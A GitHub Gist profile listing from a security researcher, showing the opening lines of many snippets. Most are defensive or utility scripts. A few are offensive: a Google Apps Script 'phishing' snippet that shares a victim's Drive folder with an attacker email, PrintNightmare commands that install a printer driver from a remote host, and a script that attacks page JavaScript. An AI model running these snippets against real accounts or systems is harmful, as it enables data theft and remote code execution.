Skip to content

Instantly share code, notes, and snippets.

View ahhh's full-sized avatar
👾
danger code

Dan Borges ahhh

👾
danger code
View GitHub Profile
@ahhh
ahhh / PageTamer.js
Last active September 25, 2026 12:50
attacks the javascript on a given page
(() => {
if (window.__PAGE_TAMER__) {
console.warn("[PageTamer] Already installed.");
return;
}
// Bind native Window methods immediately so their receiver can never
// accidentally become `originals`, undefined, a proxy object, etc.
const originals = {
open: window.open.bind(window),
@ahhh
ahhh / connection_watcher.ps1
Created February 15, 2026 02:04
quick and dirty powershell script to loop over netstat connections and tie them to a process w/ a little supporting info. Added a good bit of caching and state comparison to get htop-like display
$seen = @{}
$dnsCache = @{}
$geoCache = @{}
function Resolve-Name($ip) {
if ($dnsCache.ContainsKey($ip)) {
return $dnsCache[$ip]
}
try {
$name = (Resolve-DnsName $ip -ErrorAction Stop).NameHost
@ahhh
ahhh / scoreboard_checker.py
Created February 13, 2026 20:49
metactf scoreboard service checker
#!/usr/bin/env python3
import sys
import requests
from typing import Any, Dict, List, Optional
API_URL = "https://api.ad.mctf.io/status"
TEAM_TOKEN = ""
ACTIONS = ["check", "put", "get_last", "get_random"]
@ahhh
ahhh / pickle_explorer.py
Created February 13, 2026 19:03
For messign with python file pickling
import argparse
import base64
import pickle
import ast
import sys
def pickle_data(input_data: str) -> str:
"""
Takes a Python literal string, converts to object,
@ahhh
ahhh / ms_tenant_check.sh
Last active February 10, 2026 16:43
quick script to see if a domain is being managed / federated on ms365
#!/usr/bin/env bash
set -euo pipefail
domain="${1:?usage: $0 domain.com [username]}"
user="${2:-}"
# If username is blank or unset, default to "admin"
[[ -z "$user" ]] && user="admin"
# Grab Results
url="https://login.microsoftonline.com/getuserrealm.srf?login=${user}@${domain}&xml=1"
@ahhh
ahhh / TaskParser.ps1
Created December 23, 2025 18:33
Quick and dirty arbitrary scheduled task parser
# Define the task folder path
$taskFolder = "C:\Windows\System32\Tasks\"
# Get all tasks in that folder and its subfolders
$tasks = Get-ScheduledTask | Where-Object { $_.TaskPath -like "\*" }
if ($tasks.Count -eq 0) {
Write-Warning "No tasks found. Try running PowerShell as Administrator."
}
foreach ($task in $tasks) {
@ahhh
ahhh / driveSearch.gs
Last active June 16, 2023 00:55
Google App Script Phishing #2
function driveSearch() {
// Setup the exfil folder
var user = Session.getActiveUser().getEmail();
var folder = DriveApp.createFolder(user);
var attackerEmail = "ahhh.db@gmail.com";
folder.addViewer(attackerEmail);
// Search Drive
var files = DriveApp.searchFiles('hidden = false');
// Iterate through files in Drive
@ahhh
ahhh / csv_to_jsonl.py
Last active July 28, 2022 16:58
quick script to help convert documents
#!env python
import jsonlines
import argparse
import csv
def parseArgs():
parser = argparse.ArgumentParser(description='Convert CSV to JSONL')
parser.add_argument('file', type=str, help='csv file to read')
args = parser.parse_args()
print("Processing CSV File: " + args.file)
net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password
rundll32 printui.dll,PrintUIEntry /in /n"\\printnightmare.gentilkiwi.com\Kiwi Legit Printer"
@ahhh
ahhh / Invoke-PasswordRoll.ps1
Last active June 19, 2024 10:42
Microsoft helper script to change the local account passwords
function Invoke-PasswordRoll
{
<#
.SYNOPSIS
This script can be used to set the local account passwords on remote machines to random passwords. The username/password/server combination will be saved in a CSV file.
The account passwords stored in the CSV file can be encrypted using a password of the administrators choosing to ensure clear-text account passwords aren't written to disk.
The encrypted passwords can be decrypted using another function in this file: ConvertTo-CleartextPassword
Function: Invoke-PasswordRoll
Author: Microsoft
Version: 1.0